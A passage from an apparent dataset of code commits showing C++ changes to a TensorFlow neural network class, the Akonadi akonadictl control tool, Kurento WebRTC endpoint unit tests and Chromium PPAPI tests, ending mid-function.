space.\n\ttensorflow_graph.Clear();\n\treportInfo() << \"TensorFlow graph loaded from: \" << networkFilename << reportEnd();\n\n\tmModelLoaded = true;\n}\n\n\nNeuralNetwork::NeuralNetwork() {\n\tcreateInputPort<Image>(0, true, INPUT_STATIC_OR_DYNAMIC, true);\n\tmModelLoaded = false;\n\tmInputName = \"\";\n\tmWidth = -1;\n\tmHeight = -1;\n\tcreateOpenCLProgram(std::string(FAST_SOURCE_DIR) + \"Algorithms\/NeuralNetwork\/NeuralNetwork.cl\");\n}\n\nvoid NeuralNetwork::execute() {\n\n\n\tstd::vector<Image::pointer> images = getMultipleStaticInputData<Image>();\n\n\tif(mWidth < 0 || mHeight < 0)\n\t\tthrow Exception(\"Network input layer width and height has to be specified before running the network\");\n\n images = resizeImages(images);\n\n\texecuteNetwork(images);\n}\n\n\nvoid NeuralNetwork::setInputParameters(std::string inputNodeNames, int width, int height) {\n\tmWidth = width;\n\tmHeight = height;\n\tmInputName = inputNodeNames;\n}\n\nstd::vector<std::vector<float> > NeuralNetwork::getNetworkOutput() {\n if(mOutputData.size() != 1)\n\t\tthrow Exception(\"If network has more than 1 output can't return network output without name.\");\n\n\treturn mOutputData[mOutputNames[0]];\n}\n\nstd::vector<std::vector<float> > NeuralNetwork::getNetworkOutput(std::string name) {\n\treturn mOutputData.at(name);\n}\n\nvoid NeuralNetwork::executeNetwork(const std::vector<Image::pointer>& images) {\n if(!mModelLoaded)\n\t\tthrow Exception(\"Network and weights must be loaded in NeuralNetwork before execution.\");\n\tif(mInputName == \"\")\n\t\tthrow Exception(\"An input name must ge given to the NeuralNetwork before execution\");\n\tif(mOutputNames.size() == 0)\n\t\tthrow Exception(\"An output name must ge given to the NeuralNetwork before execution\");\n\n int batchSize = images.size();\n\tif(batchSize == 0)\n\t\tthrow Exception(\"Need at least one image to execute network.\");\n\n\t\/\/ Create input tensor\n\ttensorflow::Tensor input_tensor(\n\t\t\ttensorflow::DT_FLOAT,\n\t\t\ttensorflow::TensorShape({batchSize, mHeight, mWidth, 1})\n\t);\n\n\tauto input_tensor_mapped = input_tensor.tensor<float, 4>();\n\n\tmRuntimeManager->startRegularTimer(\"input_data_copy\");\n\treportInfo() << \"TensorFlow: Copying Data.\" << reportEnd();\n\tfor(int n = 0; n < batchSize; ++n) {\n\t\tImage::pointer image = images[n];\n\t\tif (image->getWidth() != mWidth || image->getHeight() != mHeight)\n\t\t\tthrow Exception(\"Input image sent to executeNetwork was of incrorrect size\");\n\n\t\tImageAccess::pointer access = image->getImageAccess(ACCESS_READ);\n\t\tfor (int i = 0; i < mHeight; ++i) { \/\/ y\n\t\t\tfor (int j = 0; j < mWidth; ++j) { \/\/ x\n\t\t\t\tinput_tensor_mapped(n, i, j, 0) = access->getScalar(Vector2i(j, i)) \/ 255.0f;\n\t\t\t}\n\t\t}\n\t}\n\tmRuntimeManager->stopRegularTimer(\"input_data_copy\");\n\n \/\/ TODO Need to know names of inputs and outputs in advance\n\t\/\/ Input: Only single for now\n\t\/\/ Output: Can be multiple\n\n\t\/\/ Create a scalar tensor which tells the system we are NOT doing training\n\ttensorflow::Tensor input_tensor2(\n\t\t\ttensorflow::DT_BOOL,\n\t\t\ttensorflow::TensorShape() \/\/ Scalar\n\t);\n\tauto input_tensor_mapped2 = input_tensor2.tensor<bool, 0>();\n\tinput_tensor_mapped2(0) = false;\n\n\tstd::vector <std::pair<std::string, tensorflow::Tensor>> input_tensors(\n\t\t\t{{mInputName, input_tensor}, {\"keras_learning_phase\", input_tensor2}});\n\n\tstd::vector <tensorflow::Tensor> output_tensors;\n\n\ttensorflow::Status s;\n\tmRuntimeManager->startRegularTimer(\"network_execution\");\n\ts = mSession->Run(input_tensors, mOutputNames, {}, &output_tensors);\n\tmRuntimeManager->stopRegularTimer(\"network_execution\");\n\n\tif (!s.ok()) {\n\t\treportError() << \"Error during inference: \" << s << reportEnd();\n\t}\n\treportInfo() << \"Finished executing network\" << reportEnd();\n\n for(int j = 0; j < mOutputNames.size(); ++j) {\n\t\ttensorflow::Tensor *output = &output_tensors[j];\n std::string outputName = mOutputNames[j];\n\n\t\t\/\/const auto outputData = output->flat<float>(); \/\/ This is some sort of Eigen tensor type\n auto output_tensor_mapped = output->tensor<float, 2>();\n\t\tstd::vector<std::vector<float>> resultData;\n\t\tfor(int n = 0; n < batchSize; ++n) {\n std::vector<float> outputValues;\n\t\t\tfor (int i = 0; i < output_tensor_mapped.dimension(1); ++i) {\n\t\t\t\toutputValues.push_back(output_tensor_mapped(0, i));\n\t\t\t}\n\t\t\tresultData.push_back(outputValues);\n\t\t}\n\n\t\tmOutputData[outputName] = resultData;\n\t}\n\treportInfo() << \"Finished parsing output\" << reportEnd();\n\n}\n\nstd::vector<SharedPointer<Image>> NeuralNetwork::resizeImages(const std::vector<SharedPointer<Image>> &images) {\n\treportInfo() << \"Resizing images..\" << reportEnd();\n std::vector<Image::pointer> resizedImages;\n\tfor(Image::pointer image : images) {\n\t\t\/\/ Resize image to fit input layer\n\t\tif(mWidth != image->getWidth() || mHeight != image->getHeight()) {\n\t\t\t\/\/ Only resize if needed\n ImageResizer::pointer resizer = ImageResizer::New();\n resizer->setWidth(mWidth);\n resizer->setHeight(mHeight);\n resizer->setInputData(image);\n resizer->update();\n Image::pointer resizedImage = resizer->getOutputData<Image>();\n resizedImages.push_back(resizedImage);\n\t\t} else {\n\t\t\tresizedImages.push_back(image);\n\t\t}\n\t}\n\n\treturn resizedImages;\n}\n\n\n};\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n * Copyright (C) 2007 by Tobias Koenig <tokoe@kde.org> *\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU Library General Public License as *\n * published by the Free Software Foundation; either version 2 of the *\n * License, or (at your option) any later version. *\n * *\n * This program is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU General Public License for more details. *\n * *\n * You should have received a copy of the GNU Library General Public *\n * License along with this program; if not, write to the *\n * Free Software Foundation, Inc., *\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. *\n ***************************************************************************\/\n\n#include <QtCore\/QCoreApplication>\n#include <QtCore\/QDebug>\n#include <QtCore\/QString>\n#include <QtCore\/QStringList>\n#include <QtDBus\/QDBusConnection>\n#include <QtDBus\/QDBusConnectionInterface>\n\n#include \"akapplication.h\"\n#include \"protocol_p.h\"\n\n#include \"controlmanagerinterface.h\"\n#include \"akonadistarter.h\"\n\n#include <unistd.h>\n\nstatic bool startServer()\n{\n if ( QDBusConnection::sessionBus().interface()->isServiceRegistered( AKONADI_DBUS_CONTROL_SERVICE )\n || QDBusConnection::sessionBus().interface()->isServiceRegistered( AKONADI_DBUS_SERVER_SERVICE ) ) {\n qDebug() << \"Akonadi is already running.\";\n return false;\n }\n AkonadiStarter starter;\n return starter.start();\n}\n\nstatic bool stopServer()\n{\n org::freedesktop::Akonadi::ControlManager iface( AKONADI_DBUS_CONTROL_SERVICE, \"\/ControlManager\", QDBusConnection::sessionBus(), 0 );\n iface.shutdown();\n\n return true;\n}\n\nstatic bool statusServer()\n{\n bool registered = QDBusConnection::sessionBus().interface()->isServiceRegistered( AKONADI_DBUS_CONTROL_SERVICE );\n qDebug( \"Akonadi Control: %s\", registered ? \"running\" : \"stopped\" );\n\n registered = QDBusConnection::sessionBus().interface()->isServiceRegistered( AKONADI_DBUS_SERVER_SERVICE );\n qDebug( \"Akonadi Server: %s\", registered ? \"running\" : \"stopped\" );\n\n return true;\n}\n\nint main( int argc, char **argv )\n{\n AkApplication app( argc, argv );\n app.setDescription( \"Akonadi server manipulation tool\\n\"\n \"Usage: akonadictl [command]\\n\\n\"\n \"Commands:\\n\"\n \" start : Starts the Akonadi server with all its processes\\n\"\n \" stop : Stops the Akonadi server and all its processes cleanly\\n\"\n \" status : Shows a status overview of the Akonadi server\\n\"\n \" restart : Restart the Akonadi\"\n );\n\n app.parseCommandLine();\n\n QString optionsList;\n optionsList.append( QLatin1String( \"start\" ) );\n optionsList.append( QLatin1String( \"stop\" ) );\n optionsList.append( QLatin1String( \"status\" ) );\n optionsList.append( QLatin1String( \"restart\" ) );\n\n const QStringList arguments = app.arguments();\n if ( arguments.count() != 2 ) {\n app.printUsage();\n return 1;\n } else if ( !optionsList.contains( arguments[ 1 ] ) ) {\n app.printUsage();\n return 2;\n }\n\n if ( arguments[ 1 ] == QLatin1String( \"start\" ) ) {\n if ( !startServer() )\n return 3;\n } else if ( arguments[ 1 ] == QLatin1String( \"stop\" ) ) {\n if ( !stopServer() )\n return 4;\n } else if ( arguments[ 1 ] == QLatin1String( \"status\" ) ) {\n if ( !statusServer() )\n return 5;\n } else if ( arguments[ 1 ] == QLatin1String( \"restart\") ) {\n if ( !stopServer() )\n return 4;\n else {\n do {\n usleep(100000);\n } while( QDBusConnection::sessionBus().interface()->isServiceRegistered( AKONADI_DBUS_CONTROL_SERVICE ) );\n if ( !startServer() )\n return 3;\n } \n }\n\n return 0;\n}\n<commit_msg>Oops ... let me try again<commit_after>\/***************************************************************************\n * Copyright (C) 2007 by Tobias Koenig <tokoe@kde.org> *\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU Library General Public License as *\n * published by the Free Software Foundation; either version 2 of the *\n * License, or (at your option) any later version. *\n * *\n * This program is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU General Public License for more details. *\n * *\n * You should have received a copy of the GNU Library General Public *\n * License along with this program; if not, write to the *\n * Free Software Foundation, Inc., *\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. *\n ***************************************************************************\/\n\n#include <QtCore\/QCoreApplication>\n#include <QtCore\/QDebug>\n#include <QtCore\/QString>\n#include <QtCore\/QStringList>\n#include <QtDBus\/QDBusConnection>\n#include <QtDBus\/QDBusConnectionInterface>\n\n#include \"akapplication.h\"\n#include \"protocol_p.h\"\n\n#include \"controlmanagerinterface.h\"\n#include \"akonadistarter.h\"\n\n#include <unistd.h>\n\nstatic bool startServer()\n{\n if ( QDBusConnection::sessionBus().interface()->isServiceRegistered( AKONADI_DBUS_CONTROL_SERVICE )\n || QDBusConnection::sessionBus().interface()->isServiceRegistered( AKONADI_DBUS_SERVER_SERVICE ) ) {\n qDebug() << \"Akonadi is already running.\";\n return false;\n }\n AkonadiStarter starter;\n return starter.start();\n}\n\nstatic bool stopServer()\n{\n org::freedesktop::Akonadi::ControlManager iface( AKONADI_DBUS_CONTROL_SERVICE, \"\/ControlManager\", QDBusConnection::sessionBus(), 0 );\n iface.shutdown();\n\n return true;\n}\n\nstatic bool statusServer()\n{\n bool registered = QDBusConnection::sessionBus().interface()->isServiceRegistered( AKONADI_DBUS_CONTROL_SERVICE );\n qDebug( \"Akonadi Control: %s\", registered ? \"running\" : \"stopped\" );\n\n registered = QDBusConnection::sessionBus().interface()->isServiceRegistered( AKONADI_DBUS_SERVER_SERVICE );\n qDebug( \"Akonadi Server: %s\", registered ? \"running\" : \"stopped\" );\n\n return true;\n}\n\nint main( int argc, char **argv )\n{\n AkApplication app( argc, argv );\n app.setDescription( \"Akonadi server manipulation tool\\n\"\n \"Usage: akonadictl [command]\\n\\n\"\n \"Commands:\\n\"\n \" start : Starts the Akonadi server with all its processes\\n\"\n \" stop : Stops the Akonadi server and all its processes cleanly\\n\"\n \" restart : Restart Akonadi server with all its processes\\n\"\n \" status : Shows a status overview of the Akonadi server\"\n );\n\n app.parseCommandLine();\n\n QString optionsList;\n optionsList.append( QLatin1String( \"start\" ) );\n optionsList.append( QLatin1String( \"stop\" ) );\n optionsList.append( QLatin1String( \"status\" ) );\n optionsList.append( QLatin1String( \"restart\" ) );\n\n const QStringList arguments = app.arguments();\n if ( arguments.count() != 2 ) {\n app.printUsage();\n return 1;\n } else if ( !optionsList.contains( arguments[ 1 ] ) ) {\n app.printUsage();\n return 2;\n }\n\n if ( arguments[ 1 ] == QLatin1String( \"start\" ) ) {\n if ( !startServer() )\n return 3;\n } else if ( arguments[ 1 ] == QLatin1String( \"stop\" ) ) {\n if ( !stopServer() )\n return 4;\n } else if ( arguments[ 1 ] == QLatin1String( \"status\" ) ) {\n if ( !statusServer() )\n return 5;\n } else if ( arguments[ 1 ] == QLatin1String( \"restart\") ) {\n if ( !stopServer() )\n return 4;\n else {\n do {\n usleep(100000);\n } while( QDBusConnection::sessionBus().interface()->isServiceRegistered( AKONADI_DBUS_CONTROL_SERVICE ) );\n if ( !startServer() )\n return 3;\n } \n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * (C) Copyright 2015 Kurento (http:\/\/kurento.org\/)\n *\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the GNU Lesser General Public License\n * (LGPL) version 2.1 which accompanies this distribution, and is available at\n * http:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n *\/\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MODULE WebRtcEndpoint\n#include <boost\/test\/unit_test.hpp>\n#include <MediaPipelineImpl.hpp>\n#include <objects\/WebRtcEndpointImpl.hpp>\n#include <IceCandidate.hpp>\n#include <mutex>\n#include <condition_variable>\n#include <ModuleManager.hpp>\n#include <KurentoException.hpp>\n#include <MediaSet.hpp>\n\nusing namespace kurento;\n\nboost::property_tree::ptree config;\nstd::string mediaPipelineId;\nModuleManager moduleManager;\nstd::once_flag init_flag;\n\nstatic void\ninit_internal()\n{\n boost::property_tree::ptree ac, audioCodecs, vc, videoCodecs;\n gst_init (NULL, NULL);\n\n moduleManager.loadModulesFromDirectories (\"..\/..\/src\/server\");\n\n config.add (\"configPath\", \"..\/..\/..\/tests\" );\n config.add (\"modules.kurento.SdpEndpoint.numAudioMedias\", 1);\n config.add (\"modules.kurento.SdpEndpoint.numVideoMedias\", 1);\n\n ac.put (\"name\", \"opus\/48000\/2\");\n audioCodecs.push_back (std::make_pair (\"\", ac) );\n config.add_child (\"modules.kurento.SdpEndpoint.audioCodecs\", audioCodecs);\n\n vc.put (\"name\", \"VP8\/90000\");\n videoCodecs.push_back (std::make_pair (\"\", vc) );\n config.add_child (\"modules.kurento.SdpEndpoint.videoCodecs\", videoCodecs);\n\n mediaPipelineId = moduleManager.getFactory (\"MediaPipeline\")->createObject (\n config, \"\",\n Json::Value() )->getId();\n}\n\nstatic void\ninit()\n{\n std::call_once (init_flag, init_internal);\n}\n\nstatic std::shared_ptr <WebRtcEndpointImpl>\ncreateWebrtc (void)\n{\n std::shared_ptr <kurento::MediaObjectImpl> webrtcEndpoint;\n Json::Value constructorParams;\n\n constructorParams [\"mediaPipeline\"] = mediaPipelineId;\n\n webrtcEndpoint = moduleManager.getFactory (\"WebRtcEndpoint\")->createObject (\n config, \"\",\n constructorParams );\n\n return std::dynamic_pointer_cast <WebRtcEndpointImpl> (webrtcEndpoint);\n}\n\nstatic void\nreleaseWebRtc (std::shared_ptr<WebRtcEndpointImpl> &ep)\n{\n std::string id = ep->getId();\n\n ep.reset();\n MediaSet::getMediaSet ()->release (id);\n}\n\nBOOST_AUTO_TEST_CASE (gathering_done)\n{\n init ();\n\n std::atomic<bool> gathering_done (false);\n std::condition_variable cv;\n std::mutex mtx;\n std::unique_lock<std::mutex> lck (mtx);\n std::shared_ptr <WebRtcEndpointImpl> webRtcEp = createWebrtc();\n\n webRtcEp->signalOnIceGatheringDone.connect ([&] (OnIceGatheringDone event) {\n gathering_done = true;\n cv.notify_one();\n });\n\n webRtcEp->generateOffer ();\n webRtcEp->gatherCandidates ();\n\n cv.wait_for (lck, std::chrono::seconds (5), [&] () {\n return gathering_done.load();\n });\n\n if (!gathering_done) {\n BOOST_ERROR (\"Gathering not done\");\n }\n\n releaseWebRtc (webRtcEp);\n}\n\nBOOST_AUTO_TEST_CASE (ice_state_changes)\n{\n init ();\n\n std::atomic<bool> ice_state_changed (false);\n std::condition_variable cv;\n std::mutex mtx;\n std::unique_lock<std::mutex> lck (mtx);\n\n std::shared_ptr <WebRtcEndpointImpl> webRtcEpOfferer = createWebrtc();\n std::shared_ptr <WebRtcEndpointImpl> webRtcEpAnswerer = createWebrtc();\n\n webRtcEpOfferer->setName (\"offerer\");\n webRtcEpAnswerer->setName (\"answerer\");\n\n webRtcEpOfferer->signalOnIceCandidate.connect ([&] (OnIceCandidate event) {\n webRtcEpAnswerer->addIceCandidate (event.getCandidate() );\n });\n\n webRtcEpAnswerer->signalOnIceCandidate.connect ([&] (OnIceCandidate event) {\n webRtcEpOfferer->addIceCandidate (event.getCandidate() );\n });\n\n webRtcEpOfferer->signalOnIceComponentStateChanged.connect ([&] (\n OnIceComponentStateChanged event) {\n ice_state_changed = true;\n cv.notify_one();\n });\n\n std::string offer = webRtcEpOfferer->generateOffer ();\n std::string answer = webRtcEpAnswerer->processOffer (offer);\n webRtcEpOfferer->processAnswer (answer);\n\n webRtcEpOfferer->gatherCandidates ();\n webRtcEpAnswerer->gatherCandidates ();\n\n cv.wait_for (lck, std::chrono::seconds (5), [&] () {\n return ice_state_changed.load();\n });\n\n if (!ice_state_changed) {\n BOOST_ERROR (\"ICE state not chagned\");\n }\n\n releaseWebRtc (webRtcEpOfferer);\n releaseWebRtc (webRtcEpAnswerer);\n}\n\nBOOST_AUTO_TEST_CASE (stun_turn_properties)\n{\n std::string stunServerAddress (\"10.0.0.1\");\n int stunServerPort = 2345;\n std::string turnUrl (\"user0:pass0@10.0.0.2:3456\");\n\n init ();\n\n std::shared_ptr <WebRtcEndpointImpl> webRtcEp = createWebrtc();\n\n webRtcEp->setStunServerAddress (stunServerAddress);\n std::string stunServerAddressRet = webRtcEp->getStunServerAddress ();\n BOOST_CHECK (stunServerAddressRet == stunServerAddress);\n\n webRtcEp->setStunServerPort (stunServerPort);\n int stunServerPortRet = webRtcEp->getStunServerPort ();\n BOOST_CHECK (stunServerPortRet == stunServerPort);\n\n webRtcEp->setTurnUrl (turnUrl);\n std::string turnUrlRet = webRtcEp->getTurnUrl ();\n BOOST_CHECK (turnUrlRet == turnUrl);\n\n releaseWebRtc (webRtcEp);\n}\n<commit_msg>webRtcEndpoint: Test media flow through WebRTC<commit_after>\/*\n * (C) Copyright 2015 Kurento (http:\/\/kurento.org\/)\n *\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the GNU Lesser General Public License\n * (LGPL) version 2.1 which accompanies this distribution, and is available at\n * http:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n *\/\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MODULE WebRtcEndpoint\n#include <boost\/test\/unit_test.hpp>\n#include <MediaPipelineImpl.hpp>\n#include <objects\/WebRtcEndpointImpl.hpp>\n#include <IceCandidate.hpp>\n#include <mutex>\n#include <condition_variable>\n#include <ModuleManager.hpp>\n#include <KurentoException.hpp>\n#include <MediaSet.hpp>\n#include <MediaElementImpl.hpp>\n\nusing namespace kurento;\n\nboost::property_tree::ptree config;\nstd::string mediaPipelineId;\nModuleManager moduleManager;\nstd::once_flag init_flag;\n\nstatic void\ninit_internal()\n{\n boost::property_tree::ptree ac, audioCodecs, vc, videoCodecs;\n gst_init (NULL, NULL);\n\n moduleManager.loadModulesFromDirectories (\"..\/..\/src\/server\");\n\n config.add (\"configPath\", \"..\/..\/..\/tests\" );\n config.add (\"modules.kurento.SdpEndpoint.numAudioMedias\", 1);\n config.add (\"modules.kurento.SdpEndpoint.numVideoMedias\", 1);\n\n ac.put (\"name\", \"opus\/48000\/2\");\n audioCodecs.push_back (std::make_pair (\"\", ac) );\n config.add_child (\"modules.kurento.SdpEndpoint.audioCodecs\", audioCodecs);\n\n vc.put (\"name\", \"VP8\/90000\");\n videoCodecs.push_back (std::make_pair (\"\", vc) );\n config.add_child (\"modules.kurento.SdpEndpoint.videoCodecs\", videoCodecs);\n\n mediaPipelineId = moduleManager.getFactory (\"MediaPipeline\")->createObject (\n config, \"\",\n Json::Value() )->getId();\n}\n\nstatic void\ninit()\n{\n std::call_once (init_flag, init_internal);\n}\n\nstatic std::shared_ptr <WebRtcEndpointImpl>\ncreateWebrtc (void)\n{\n std::shared_ptr <kurento::MediaObjectImpl> webrtcEndpoint;\n Json::Value constructorParams;\n\n constructorParams [\"mediaPipeline\"] = mediaPipelineId;\n\n webrtcEndpoint = moduleManager.getFactory (\"WebRtcEndpoint\")->createObject (\n config, \"\",\n constructorParams );\n\n return std::dynamic_pointer_cast <WebRtcEndpointImpl> (webrtcEndpoint);\n}\n\nstatic void\nreleaseWebRtc (std::shared_ptr<WebRtcEndpointImpl> &ep)\n{\n std::string id = ep->getId();\n\n ep.reset();\n MediaSet::getMediaSet ()->release (id);\n}\n\nstatic std::shared_ptr <MediaElementImpl>\ncreateTestSrc (void)\n{\n std::shared_ptr <MediaElementImpl> src = std::dynamic_pointer_cast\n <MediaElementImpl> (MediaSet::getMediaSet()->ref (new MediaElementImpl (\n boost::property_tree::ptree(),\n MediaSet::getMediaSet()->getMediaObject (mediaPipelineId),\n \"dummysrc\") ) );\n\n g_object_set (src->getGstreamerElement(), \"audio\", TRUE, \"video\", TRUE, NULL);\n\n return std::dynamic_pointer_cast <MediaElementImpl> (src);\n}\n\nstatic void\nreleaseTestSrc (std::shared_ptr<MediaElementImpl> &ep)\n{\n std::string id = ep->getId();\n\n ep.reset();\n MediaSet::getMediaSet ()->release (id);\n}\n\n\nBOOST_AUTO_TEST_CASE (gathering_done)\n{\n init ();\n\n std::atomic<bool> gathering_done (false);\n std::condition_variable cv;\n std::mutex mtx;\n std::unique_lock<std::mutex> lck (mtx);\n std::shared_ptr <WebRtcEndpointImpl> webRtcEp = createWebrtc();\n\n webRtcEp->signalOnIceGatheringDone.connect ([&] (OnIceGatheringDone event) {\n gathering_done = true;\n cv.notify_one();\n });\n\n webRtcEp->generateOffer ();\n webRtcEp->gatherCandidates ();\n\n cv.wait_for (lck, std::chrono::seconds (5), [&] () {\n return gathering_done.load();\n });\n\n if (!gathering_done) {\n BOOST_ERROR (\"Gathering not done\");\n }\n\n releaseWebRtc (webRtcEp);\n}\n\nBOOST_AUTO_TEST_CASE (ice_state_changes)\n{\n init ();\n\n std::atomic<bool> ice_state_changed (false);\n std::condition_variable cv;\n std::mutex mtx;\n std::unique_lock<std::mutex> lck (mtx);\n\n std::shared_ptr <WebRtcEndpointImpl> webRtcEpOfferer = createWebrtc();\n std::shared_ptr <WebRtcEndpointImpl> webRtcEpAnswerer = createWebrtc();\n\n webRtcEpOfferer->setName (\"offerer\");\n webRtcEpAnswerer->setName (\"answerer\");\n\n webRtcEpOfferer->signalOnIceCandidate.connect ([&] (OnIceCandidate event) {\n webRtcEpAnswerer->addIceCandidate (event.getCandidate() );\n });\n\n webRtcEpAnswerer->signalOnIceCandidate.connect ([&] (OnIceCandidate event) {\n webRtcEpOfferer->addIceCandidate (event.getCandidate() );\n });\n\n webRtcEpOfferer->signalOnIceComponentStateChanged.connect ([&] (\n OnIceComponentStateChanged event) {\n ice_state_changed = true;\n cv.notify_one();\n });\n\n std::string offer = webRtcEpOfferer->generateOffer ();\n std::string answer = webRtcEpAnswerer->processOffer (offer);\n webRtcEpOfferer->processAnswer (answer);\n\n webRtcEpOfferer->gatherCandidates ();\n webRtcEpAnswerer->gatherCandidates ();\n\n cv.wait_for (lck, std::chrono::seconds (5), [&] () {\n return ice_state_changed.load();\n });\n\n if (!ice_state_changed) {\n BOOST_ERROR (\"ICE state not chagned\");\n }\n\n releaseWebRtc (webRtcEpOfferer);\n releaseWebRtc (webRtcEpAnswerer);\n}\n\nBOOST_AUTO_TEST_CASE (stun_turn_properties)\n{\n std::string stunServerAddress (\"10.0.0.1\");\n int stunServerPort = 2345;\n std::string turnUrl (\"user0:pass0@10.0.0.2:3456\");\n\n init ();\n\n std::shared_ptr <WebRtcEndpointImpl> webRtcEp = createWebrtc();\n\n webRtcEp->setStunServerAddress (stunServerAddress);\n std::string stunServerAddressRet = webRtcEp->getStunServerAddress ();\n BOOST_CHECK (stunServerAddressRet == stunServerAddress);\n\n webRtcEp->setStunServerPort (stunServerPort);\n int stunServerPortRet = webRtcEp->getStunServerPort ();\n BOOST_CHECK (stunServerPortRet == stunServerPort);\n\n webRtcEp->setTurnUrl (turnUrl);\n std::string turnUrlRet = webRtcEp->getTurnUrl ();\n BOOST_CHECK (turnUrlRet == turnUrl);\n\n releaseWebRtc (webRtcEp);\n}\n\nBOOST_AUTO_TEST_CASE (media_state_changes)\n{\n std::atomic<bool> media_state_changed (false);\n std::condition_variable cv;\n std::mutex mtx;\n std::unique_lock<std::mutex> lck (mtx);\n\n init ();\n\n std::shared_ptr <WebRtcEndpointImpl> webRtcEpOfferer = createWebrtc();\n std::shared_ptr <WebRtcEndpointImpl> webRtcEpAnswerer = createWebrtc();\n std::shared_ptr <MediaElementImpl> src = createTestSrc();\n\n src->connect (webRtcEpOfferer);\n\n webRtcEpOfferer->signalOnIceCandidate.connect ([&] (OnIceCandidate event) {\n BOOST_TEST_MESSAGE (\"Offerer: adding candidate \" +\n event.getCandidate()->getCandidate() );\n webRtcEpAnswerer->addIceCandidate (event.getCandidate() );\n });\n\n webRtcEpAnswerer->signalOnIceCandidate.connect ([&] (OnIceCandidate event) {\n BOOST_TEST_MESSAGE (\"Answerer: adding candidate \" +\n event.getCandidate()->getCandidate() );\n webRtcEpOfferer->addIceCandidate (event.getCandidate() );\n });\n\n webRtcEpOfferer->signalOnIceGatheringDone.connect ([&] (\n OnIceGatheringDone event) {\n BOOST_TEST_MESSAGE (\"Offerer: Gathering done\");\n });\n\n webRtcEpAnswerer->signalOnIceGatheringDone.connect ([&] (\n OnIceGatheringDone event) {\n BOOST_TEST_MESSAGE (\"Answerer: Gathering done\");\n });\n\n webRtcEpAnswerer->signalMediaStateChanged.connect ([&] (\n MediaStateChanged event) {\n media_state_changed = true;\n cv.notify_one();\n });\n\n std::string offer = webRtcEpOfferer->generateOffer ();\n BOOST_TEST_MESSAGE (\"offer: \" + offer);\n\n std::string answer = webRtcEpAnswerer->processOffer (offer);\n BOOST_TEST_MESSAGE (\"answer: \" + answer);\n\n webRtcEpOfferer->processAnswer (answer);\n\n webRtcEpOfferer->gatherCandidates ();\n webRtcEpAnswerer->gatherCandidates ();\n\n cv.wait_for (lck, std::chrono::seconds (5), [&] () {\n\n return media_state_changed.load();\n });\n\n\n if (!media_state_changed) {\n BOOST_ERROR (\"Not media state chagned\");\n }\n\n releaseTestSrc (src);\n releaseWebRtc (webRtcEpOfferer);\n releaseWebRtc (webRtcEpAnswerer);\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Mark NPAPITesterBase.GetURLRedirectNotification test as flaky on linux.<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/file_util.h\"\n#include \"base\/path_service.h\"\n#include \"build\/build_config.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/base\/net_util.h\"\n#include \"net\/test\/test_server.h\"\n#include \"webkit\/glue\/plugins\/plugin_switches.h\"\n\nnamespace {\n\n\/\/ Platform-specific filename relative to the chrome executable.\n#if defined(OS_WIN)\nconst wchar_t library_name[] = L\"ppapi_tests.dll\";\n#elif defined(OS_MACOSX)\nconst char library_name[] = \"ppapi_tests.plugin\";\n#elif defined(OS_POSIX)\nconst char library_name[] = \"libppapi_tests.so\";\n#endif\n\n} \/\/ namespace\n\nclass PPAPITest : public UITest {\n public:\n PPAPITest() {\n \/\/ Append the switch to register the pepper plugin.\n \/\/ library name = <out dir>\/<test_name>.<library_extension>\n \/\/ MIME type = application\/x-ppapi-<test_name>\n FilePath plugin_dir;\n PathService::Get(base::DIR_EXE, &plugin_dir);\n\n FilePath plugin_lib = plugin_dir.Append(library_name);\n EXPECT_TRUE(file_util::PathExists(plugin_lib));\n FilePath::StringType pepper_plugin = plugin_lib.value();\n pepper_plugin.append(FILE_PATH_LITERAL(\";application\/x-ppapi-tests\"));\n launch_arguments_.AppendSwitchNative(switches::kRegisterPepperPlugins,\n pepper_plugin);\n\n \/\/ The test sends us the result via a cookie.\n launch_arguments_.AppendSwitch(switches::kEnableFileCookies);\n\n \/\/ Some stuff is hung off of the testing interface which is not enabled\n \/\/ by default.\n launch_arguments_.AppendSwitch(switches::kEnablePepperTesting);\n\n \/\/ Give unlimited quota for files to Pepper tests.\n \/\/ TODO(dumi): remove this switch once we have a quota management\n \/\/ system in place.\n launch_arguments_.AppendSwitch(switches::kUnlimitedQuotaForFiles);\n }\n\n void RunTest(const std::string& test_case) {\n FilePath test_path;\n PathService::Get(base::DIR_SOURCE_ROOT, &test_path);\n test_path = test_path.Append(FILE_PATH_LITERAL(\"ppapi\"));\n test_path = test_path.Append(FILE_PATH_LITERAL(\"tests\"));\n test_path = test_path.Append(FILE_PATH_LITERAL(\"test_case.html\"));\n\n \/\/ Sanity check the file name.\n EXPECT_TRUE(file_util::PathExists(test_path));\n\n 